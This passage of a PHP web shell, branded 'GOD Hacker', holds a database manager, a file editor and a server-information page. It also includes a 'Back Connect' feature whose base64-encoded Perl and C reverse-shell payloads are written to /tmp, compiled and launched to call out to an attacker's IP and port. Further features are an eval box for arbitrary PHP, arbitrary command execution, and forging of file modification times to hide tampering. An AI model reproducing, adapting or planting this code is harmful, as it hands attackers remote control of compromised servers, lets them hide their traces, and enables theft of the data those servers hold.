1295 if($update && $insertsql && $base64) {
1296
1297 $valstr = $tmp = '';
1298
1299 foreach($insertsql as $key => $val) {
1300
1301 $valstr .= $tmp.$key."='".addslashes($val)."'";
1302
1303 $tmp = ',';
1304
1305 }
1306
1307 if($valstr) {
1308
1309 $where = base64_decode($base64);
1310
1311 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1312
1313 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
1314
1315 }
1316
1317 }
1318
1319 if($doing == 'del' && $base64) {
1320
1321 $where = base64_decode($base64);
1322
1323 $delete_sql = "DELETE FROM $tablename WHERE $where";
1324
1325 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1326
1327 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
1328
1329 }
1330
1331 if($tablename && $doing == 'drop') {
1332
1333 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1334
1335 if(q("DROP TABLE $tablename")) {
1336
1337 m('Drop table of success');
1338
1339 $tablename = '';
1340
1341 } else {
1342
1343 m(mysql_error());
1344
1345 }
1346
1347 }
1348
1349 $charsets = array(''=>'Default','utf8'=>'UTF-8', 'latin1'=>'Latin1');
1350
1351 formhead(array('title'=>'MYSQL Manager'));
1352
1353 makehide('haz','sqladmin');
1354
1355 p('<p>');
1356
1357 p('DBHost:');
1358
1359 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
1360
1361 p(':');
1362
1363 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
1364
1365 p('DBUser:');
1366
1367 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
1368
1369 p('DBPass:');
1370
1371 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
1372
1373 p('DBCharset:');
1374
1375 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
1376
1377 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
1378
1379 p("</p>\n</form>");
1380
1381?>
1382
1383
1384
1385<script type="text/javascript">
1386
1387function editrecord(haz, base64, tablename){
1388
1389 if(haz == 'del') {
1390
1391 if(!confirm('Is or isn\'t deletion record?')) return;
1392
1393 }
1394
1395 $('recordlist').doing.value=haz;
1396
1397 $('recordlist').base64.value=base64;
1398
1399 $('recordlist').tablename.value=tablename;
1400
1401 $('recordlist').submit();
1402
1403}
1404
1405function moddbname(dbname) {
1406
1407 if(!dbname) return;
1408
1409 $('setdbname').dbname.value=dbname;
1410
1411 $('setdbname').submit();
1412
1413}
1414
1415function settable(tablename,doing,page) {
1416
1417 if(!tablename) return;
1418
1419 if(doing) {
1420
1421 $('settable').doing.value=doing;
1422
1423 }
1424
1425 if(page) {
1426
1427 $('settable').page.value=page;
1428
1429 }
1430
1431 $('settable').tablename.value=tablename;
1432
1433 $('settable').submit();
1434
1435}
1436
1437</script>
1438
1439<?php
1440
1441formhead(array('name'=>'recordlist'));
1442
1443makehide('doing');
1444
1445makehide('haz','sqladmin');
1446
1447makehide('base64');
1448
1449makehide('tablename');
1450
1451p($dbform);
1452
1453p('</form>');
1454
1455formhead(array('name'=>'setdbname'));
1456
1457makehide('haz','sqladmin');
1458
1459p($dbform);
1460
1461if(!$dbname) {
1462
1463 makehide('dbname');
1464
1465}
1466
1467p('</form>');
1468
1469formhead(array('name'=>'settable'));
1470
1471makehide('haz','sqladmin');
1472
1473p($dbform);
1474
1475makehide('tablename');
1476
1477makehide('page',$page);
1478
1479makehide('doing');
1480
1481p('</form>');
1482
1483$cachetables = array();
1484
1485$pagenum = 30;
1486
1487$page = intval($page);
1488
1489if($page) {
1490
1491 $start_limit = ($page - 1) * $pagenum;
1492
1493 } else {
1494
1495 $start_limit = 0;
1496
1497 $page = 1;
1498
1499}
1500
1501if(isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
1502
1503 $lnk=dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
1504
1505 $mysqlver = mysql_get_server_info();
1506
1507 p('<form id="setdbname" method="post" action="'.$self.'">
1508
1509 <p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
1510
1511 $highver = $mysqlver > '4.1' ? 1 : 0;
1512
1513 $query = q("SHOW DATABASES");
1514
1515 $dbs = array();
1516
1517 $dbs[] = '-- Select a database --';
1518
1519 while($db = mysql_fetch_array($query)) {
1520
1521 $dbs[$db['Database']] = $db['Database'];
1522
1523 }
1524
1525 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
1526
1527 p('</form>');
1528
1529 $tabledb = array();
1530
1531 if($dbname) {
1532
1533 p('<p>');
1534
1535 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
1536
1537 if($tablename) {
1538
1539 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');}
1540
1541 p('</p>');
1542
1543 mysql_select_db($dbname);
1544
1545 $getnumsql = '';
1546
1547 $runquery = 0;
1548
1549 if($sql_query) {
1550
1551 $runquery = 1;
1552
1553 }
1554
1555 $allowedit = 0;
1556
1557 if($tablename && !$sql_query) {
1558
1559 $sql_query = "SELECT * FROM $tablename";
1560
1561 $getnumsql = $sql_query;
1562
1563 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
1564
1565 $allowedit = 1;
1566
1567 }
1568
1569 p('<form action="" method="post">');
1570
1571 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
1572
1573 makehide('tablename', $tablename);
1574
1575 makehide('haz','sqladmin');
1576
1577 p($dbform);
1578
1579 p('</form>');
1580
1581 if($tablename || ($runquery && $sql_query)) {
1582
1583 if($doing == 'structure') {
1584
1585 $result = q("SHOW COLUMNS FROM $tablename");
1586
1587 $rowdb = array();
1588
1589 while($row = mysql_fetch_array($result)) {
1590
1591 $rowdb[] = $row;
1592
1593 }
1594
1595 p('<table border="0" cellpadding="3" cellspacing="0">');
1596
1597 p('<tr class="head">');
1598
1599 p('<td>Field</td>');
1600
1601 p('<td>Type</td>');
1602
1603 p('<td>Null</td>');
1604
1605 p('<td>Key</td>');
1606
1607 p('<td>Default</td>');
1608
1609 p('<td>Extra</td>');
1610
1611 p('</tr>');
1612
1613 foreach ($rowdb as $row) {
1614
1615 $thisbg = bg();
1616
1617 p('<tr class="'.$tbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$tbg.'\';">');
1618
1619 p('<td>'.$row['Field'].'</td>');
1620
1621 p('<td>'.$row['Type'].'</td>');
1622
1623 p('<td>'.$row['Null'].' </td>');
1624
1625 p('<td>'.$row['Key'].' </td>');
1626
1627 p('<td>'.$row['Default'].' </td>');
1628
1629 p('<td>'.$row['Extra'].' </td>');
1630
1631 p('</tr>');
1632
1633 }
1634
1635 tbfoot();
1636
1637 } elseif($doing == 'insert' || $doing == 'edit') {
1638
1639 $result = q('SHOW COLUMNS FROM '.$tablename);
1640
1641 while ($row = mysql_fetch_array($result)) {
1642
1643 $rowdb[] = $row;
1644
1645 }
1646
1647 $rs = array();
1648
1649 if($doing == 'insert') {
1650
1651 p('<h2>Insert new line in '.$tablename.' table »</h2>');
1652
1653 } else {
1654
1655 p('<h2>Update record in '.$tablename.' table »</h2>');
1656
1657 $where = base64_decode($base64);
1658
1659 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
1660
1661 $rs = mysql_fetch_array($result);
1662
1663 }
1664
1665 p('<form method="post" action="'.$self.'">');
1666
1667 p($dbform);
1668
1669 makehide('haz','sqladmin');
1670
1671 makehide('tablename',$tablename);
1672
1673 p('<table border="0" cellpadding="3" cellspacing="0">');
1674
1675 foreach ($rowdb as $row) {
1676
1677 if($rs[$row['Field']]) {
1678
1679 $value = htmlspecialchars($rs[$row['Field']],ENT_QUOTES);
1680
1681 } else {
1682
1683 $value = '';
1684
1685 }
1686
1687 $tbg = bg();
1688
1689 p('<tr class="'.$tbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$tbg.'\';">');
1690
1691 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
1692
1693 }
1694
1695 if($doing == 'insert') {
1696
1697 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
1698
1699 } else {
1700
1701 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
1702
1703 makehide('base64', $base64);
1704
1705 }
1706
1707 p('</table></form>');
1708
1709 } else {
1710
1711 $querys = @explode(';',$sql_query);
1712
1713 foreach($querys as $num=>$query) {
1714
1715 if($query) {
1716
1717 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
1718
1719 switch(qy($query)) {
1720
1721 case 0:
1722
1723 p('<h2>Error : '.mysql_error().'</h2>');
1724
1725 break;
1726
1727 case 1:
1728
1729 if(strtolower(substr($query,0,13)) == 'select * from') {
1730
1731 $allowedit = 1;
1732
1733 }
1734
1735 if($getnumsql) {
1736
1737 $tatol = mysql_num_rows(q($getnumsql));
1738
1739 $multipage = multi($tatol, $pagenum, $page, $tablename);
1740
1741 }
1742
1743 if(!$tablename) {
1744
1745 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
1746
1747 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
1748
1749 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
1750
1751 $tablename = $matches[1][0];
1752
1753 }
1754
1755 $result = q($query);
1756
1757 p($multipage);
1758
1759 p('<table border="0" cellpadding="3" cellspacing="0">');
1760
1761 p('<tr class="head">');
1762
1763 if($allowedit) p('<td>Action</td>');
1764
1765 $fieldnum = @mysql_num_fields($result);
1766
1767 for($i=0;$i<$fieldnum;$i++){
1768
1769 $name = @mysql_field_name($result, $i);
1770
1771 $type = @mysql_field_type($result, $i);
1772
1773 $len = @mysql_field_len($result, $i);
1774
1775 p("<td class=\"nw\">$name<br /><span>$type($len)</span></td>");
1776
1777 }
1778
1779 p('</tr>');
1780
1781 while($mn = @mysql_fetch_assoc($result)){
1782
1783 $tbg = bg();
1784
1785 p('<tr class="'.$tbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$tbg.'\';">');
1786
1787 $where = $tmp = $b1 = '';
1788
1789 foreach($mn as $key=>$inside){
1790
1791 if($inside) {
1792
1793 $where .= $tmp.$key."='".addslashes($inside)."'";
1794
1795 $tmp = ' AND ';
1796
1797 }
1798
1799 $b1 .= '<td class="nw">'.html_clean($inside).' </td>';
1800
1801 }
1802
1803 $where = base64_encode($where);
1804
1805 if($allowedit) p('<td class="nw"><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
1806
1807 p($b1);
1808
1809 p('</tr>');
1810
1811 unset($b1);
1812
1813 }
1814
1815 tbfoot();
1816
1817 p($multipage);
1818
1819 break;
1820
1821 case 2:
1822
1823 $ar = mysql_affected_rows();
1824
1825 p('<h2>affected rows : <b>'.$ar.'</b></h2>');
1826
1827 break;
1828
1829 }
1830
1831 }
1832
1833 }
1834
1835 }
1836
1837 } else {
1838
1839 $query = q("SHOW TABLE STATUS");
1840
1841 $table_num = $table_rows = $data_size = 0;
1842
1843 $tabledb = array();
1844
1845 while($table = mysql_fetch_array($query)) {
1846
1847 $data_size = $data_size + $table['Data_length'];
1848
1849 $table_rows = $table_rows + $table['Rows'];
1850
1851 $table['Data_length'] = sizecount($table['Data_length']);
1852
1853 $table_num++;
1854
1855 $tabledb[] = $table;
1856
1857 }
1858
1859 $data_size = sizecount($data_size);
1860
1861 unset($table);
1862
1863 p('<table border="0" cellpadding="0" cellspacing="0">');
1864
1865 p('<form action="'.$self.'" method="post">');
1866
1867 makehide('haz','sqladmin');
1868
1869 p($dbform);
1870
1871 p('<tr class="head">');
1872
1873 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1874
1875 p('<td>Name</td>');
1876
1877 p('<td>Rows</td>');
1878
1879 p('<td>Data_length</td>');
1880
1881 p('<td>Create_time</td>');
1882
1883 p('<td>Update_time</td>');
1884
1885 if($highver) {
1886
1887 p('<td>Engine</td>');
1888
1889 p('<td>Collation</td>');
1890
1891 }
1892
1893 p('</tr>');
1894
1895 foreach ($tabledb as $key => $table) {
1896
1897 $tbg = bg();
1898
1899 p('<tr class="'.$tbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$tbg.'\';">');
1900
1901 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
1902
1903 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
1904
1905 p('<td>'.$table['Rows'].'</td>');
1906
1907 p('<td>'.$table['Data_length'].'</td>');
1908
1909 p('<td>'.$table['Create_time'].'</td>');
1910
1911 p('<td>'.$table['Update_time'].'</td>');
1912
1913 if($highver) {
1914
1915 p('<td>'.$table['Engine'].'</td>');
1916
1917 p('<td>'.$table['Collation'].'</td>');
1918
1919 }
1920
1921 p('</tr>');
1922
1923 }
1924
1925 p('<tr class="'.bg().'">');
1926
1927 p('<td> </td>');
1928
1929 p('<td>Total tables: '.$table_num.'</td>');
1930
1931 p('<td>'.$table_rows.'</td>');
1932
1933 p('<td>'.$data_size.'</td>');
1934
1935 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
1936
1937 p('</tr>');
1938
1939 p('<tr class="'.bg().'"><td colspan="'.($highver ? 8 : 6).'"><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="'.F_ROOT.$_SERVER['HTTP_HOST'].'_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>');
1940
1941 makehide('doing','backupmysql');
1942
1943 p("</form>\n</table>");
1944
1945 fr($query);
1946
1947 }
1948
1949 }
1950
1951 }
1952
1953 tbfoot();
1954
1955 mysql_close($lnk);
1956
1957}
1958
1959elseif($haz == 'bconx') {
1960
1961 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1962
1963 !$yourport && $yourport = '12345';
1964
1965 $usedb = array('perl'=>'perl','c'=>'c');
1966
1967$rv_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
1968
1969"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
1970
1971"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
1972
1973"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
1974
1975"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
1976
1977"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
1978
1979"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1980
1981$rv_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
1982
1983"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
1984
1985"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
1986
1987"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
1988
1989"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
1990
1991"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
1992
1993"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
1994
1995"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1996
1997if($start && $yourip && $yourport && $use){
1998
1999 if($use == 'perl') {
2000
2001 sv_file('/tmp/god_bc',@base64_decode($rv_connect));
2002
2003 $res = mycmd(which('perl')." /tmp/god_bc $yourip $yourport &");
2004
2005 } else {
2006
2007 sv_file('/tmp/god_bc.c',@base64_decode($rv_connect_c));
2008
2009 $res = mycmd('gcc -o /tmp/god_bc /tmp/god_bc.c');
2010
2011 @unlink('/tmp/god_bc.c');
2012
2013 $res = mycmd("/tmp/god_bc $yourip $yourport &");
2014
2015 }
2016
2017 m("Now script try connect to $yourip port $yourport ...");
2018
2019 }
2020
2021 formhead(array('title'=>'Back Connect'));
2022
2023 makehide('haz','bconx');
2024
2025 p('<p>');
2026
2027 p('Your IP:');
2028
2029 makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
2030
2031 p('Your Port:');
2032
2033 makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
2034
2035 p('Use:');
2036
2037 makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
2038
2039 makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
2040
2041 p("</p>\n</form>");
2042
2043}
2044
2045elseif($haz=='evl') {
2046
2047 $phpcode=trim($phpcode);
2048
2049 if($phpcode){
2050
2051 if(!strstr($phpcode,'<?')) {$phpcode="<?php\n{$phpcode}\n?>";}
2052
2053 p('<pre>');
2054
2055 eval("?".">$phpcode<?");
2056
2057 echo'</pre>';
2058
2059 }
2060
2061 formhead(array('title'=>'Eval PHP Code'));
2062
2063 makehide('haz','evl');
2064
2065 maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
2066
2067 formfooter();
2068
2069}
2070
2071elseif($haz == 'editfile') {
2072
2073 if(file_exists($opfile)) {
2074
2075 $fp=@fopen($opfile,'r');
2076
2077 $contents=@fread($fp, filesize($opfile));
2078
2079 @fclose($fp);
2080
2081 $contents=htmlspecialchars($contents);
2082
2083 }
2084
2085 formhead(array('title'=>'Create / Edit File'));
2086
2087 makehide('haz','file');
2088
2089 makehide('dir',$nowpath);
2090
2091 makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
2092
2093 maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
2094
2095 formfooter();
2096
2097}
2098
2099elseif($haz == 'newtime') {
2100
2101 $opfilemtime = @filemtime($opfile);
2102
2103 $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
2104
2105 formhead(array('title'=>'Clone file was last modified time'));
2106
2107 makehide('haz','file');
2108
2109 makehide('dir',$nowpath);
2110
2111 makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
2112
2113 makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
2114
2115 formfooter();
2116
2117 formhead(array('title'=>'Set last modified'));
2118
2119 makehide('haz','file');
2120
2121 makehide('dir',$nowpath);
2122
2123 makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
2124
2125 p('<p>Instead »');
2126
2127 p('year:');
2128
2129 makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
2130
2131 p('month:');
2132
2133 makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
2134
2135 p('day:');
2136
2137 makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
2138
2139 p('hour:');
2140
2141 makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
2142
2143 p('minute:');
2144
2145 makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
2146
2147 p('second:');
2148
2149 makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
2150
2151 p('</p>');
2152
2153 formfooter();
2154
2155}
2156
2157elseif($haz == 'sh') {
2158
2159 if(IS_WIN && IS_COM) {
2160
2161 if($program && $parameter) {
2162
2163 $shell= new COM('Shell.Application');
2164
2165 $a = $shell->ShellExecute($program,$parameter);
2166
2167 m('Program run has '.(!$a ? 'success' : 'fail'));
2168
2169 }
2170
2171 !$program && $program = 'c:\windows\system32\cmd.exe';
2172
2173 !$parameter && $parameter = '/c net start > '.F_ROOT.'log.txt';
2174
2175 formhead(array('title'=>'Execute Program'));
2176
2177 makehide('haz','sh');
2178
2179 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
2180
2181 p('<p>');
2182
2183 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
2184
2185 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
2186
2187 p("</p>\n</form>");
2188
2189 }
2190
2191 formhead(array('title'=>'Execute Command'));
2192
2193 makehide('haz','sh');
2194
2195 if(IS_WIN && IS_COM) {
2196
2197 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
2198
2199 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
2200
2201 }
2202
2203 p('<p>');
2204
2205 makeinput(array('title'=>'Command','name'=>'ex','value'=>$ex));
2206
2207 makeinput(array('class'=>'bt','type'=>'submit','value'=>'Execute'));
2208
2209 p("</p>\n</form>");
2210
2211 if($ex) {
2212
2213 p('<hr width="100%" noshade><pre>');
2214
2215 if($execfunc=='wscript' && IS_WIN && IS_COM) {
2216
2217 $wsh = new COM('WScript.shell');
2218
2219 $exec = $wsh->exec('cmd.exe /c '.$ex);
2220
2221 $stdout = $exec->StdOut();
2222
2223 $stroutput = $stdout->ReadAll();
2224
2225 echo $stroutput;
2226
2227 } elseif($execfunc=='proc_open' && IS_WIN && IS_COM) {
2228
2229 $descriptorspec = array(
2230
2231 0 => array('pipe', 'r'),
2232
2233 1 => array('pipe', 'w'),
2234
2235 2 => array('pipe', 'w')
2236
2237 );
2238
2239 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
2240
2241 if(is_resource($process)) {
2242
2243 fwrite($pipes[0], $ex."\r\n");
2244
2245 fwrite($pipes[0], "exit\r\n");
2246
2247 fclose($pipes[0]);
2248
2249 while (!feof($pipes[1])) {
2250
2251 echo fgets($pipes[1], 1024);
2252
2253 }
2254
2255 fclose($pipes[1]);
2256
2257 while (!feof($pipes[2])) {
2258
2259 echo fgets($pipes[2], 1024);
2260
2261 }
2262
2263 fclose($pipes[2]);
2264
2265 proc_close($process);
2266
2267 }
2268
2269 } else {
2270
2271 echo(htmlspecialchars(mycmd($ex)));
2272
2273 }
2274
2275 p('</pre>');
2276
2277 }
2278
2279}
2280
2281elseif($haz=='env') {
2282
2283 $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
2284
2285 $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
2286
2287 $info = array(
2288
2289 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
2290
2291 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
2292
2293 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
2294
2295 4 => array('Server OS',PHP_OS),
2296
2297 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
2298
2299 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
2300
2301 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
2302
2303 8 => array('PHP run mode',strtoupper(php_sapi_name())),
2304
2305 9 => array('The file path',$_SERVER['SCRIPT_FILENAME']),
2306
2307 10 => array('PHP Version',PHP_VERSION),
2308
2309 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:gohaz(\'phpinfo\');">Yes</a>' : 'No')),
2310
2311 12 => array('Safe Mode',getcfg('safe_mode')),
2312
2313 13 => array('Administrator',$adminmail),
2314
2315 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
2316
2317 15 => array('enable_dl',getcfg('enable_dl')),
2318
2319 16 => array('display_errors',getcfg('display_errors')),
2320
2321 17 => array('register_globals',getcfg('register_globals')),
2322
2323 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
2324
2325 19 => array('Open Basedir',getcfg('open_basedir')),
2326
2327 20 => array('memory_limit',getcfg('memory_limit')),
2328
2329 21 => array('post_max_size',getcfg('post_max_size')),
2330
2331 22 => array('upload_max_filesize',$upsize),
2332
2333 23 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
2334
2335 24 => array('disable_functions',join(' ', nofunc())),
2336
2337 );
2338
2339 if($phpvarname) {
2340
2341 m($phpvarname .' : '.getcfg($phpvarname));
2342
2343 }
2344
2345 formhead(array('title'=>'Server environment'));
2346
2347 makehide('haz','env');
2348
2349 makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
2350
2351 formfooter();
2352
2353 $hp = array(0=> 'Server', 1=> 'PHP');
2354
2355 for($a=0;$a<2;$a++) {
2356
2357 p('<h2>'.$hp[$a].' »</h2>');
2358
2359 p('<ul class="info">');
2360
2361 if($a==0) {
2362
2363 for($i=1;$i<=9;$i++) {
2364
2365 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
2366
2367 }
2368
2369 } elseif($a == 1) {
2370
2371 for($i=10;$i<=24;$i++) {
2372
2373 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
2374
2375 }
2376
2377 }
2378
2379 p('</ul>');
2380
2381 }
2382
2383}else {
2384
2385m('Undefined Action');
2386
2387}
2388
2389?>
2390
2391
2392
2393</td></tr></table>
2394
2395<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
2396
2397<span style="float:right;"><?php debuginfo();ob_end_flush();?></span> Copyright ©2009-<?php echo date('Y');?> <a href="http://god.god/" target="_blank">GOD Hacker</a> All Rights Reserved.
2398
2399</div>
2400
2401</body>
2402
2403</html>
2404
2405<?php
2406
2407function m($m,$c='m') {echo "<div class=\"$c\">$m</div>\n";}
2408
2409function scookie($key, $value, $life = 0, $prefix = 1) {
2410
2411 global $admin, $timestamp, $_SERVER;
2412
2413 $key = ($prefix ? $admin['cookiepre'] : '').$key;
2414
2415 $life = $life ? $life : $admin['cookielife'];
2416
2417 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
2418
2419 setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
2420
2421}
2422
2423function multi($num, $perpage, $curpage, $tablename) {
2424
2425 $multipage = '';
2426
2427 if($num > $perpage) {
2428
2429 $page = 10;
2430
2431 $offset = 5;
2432
2433 $pages = @ceil($num / $perpage);
2434
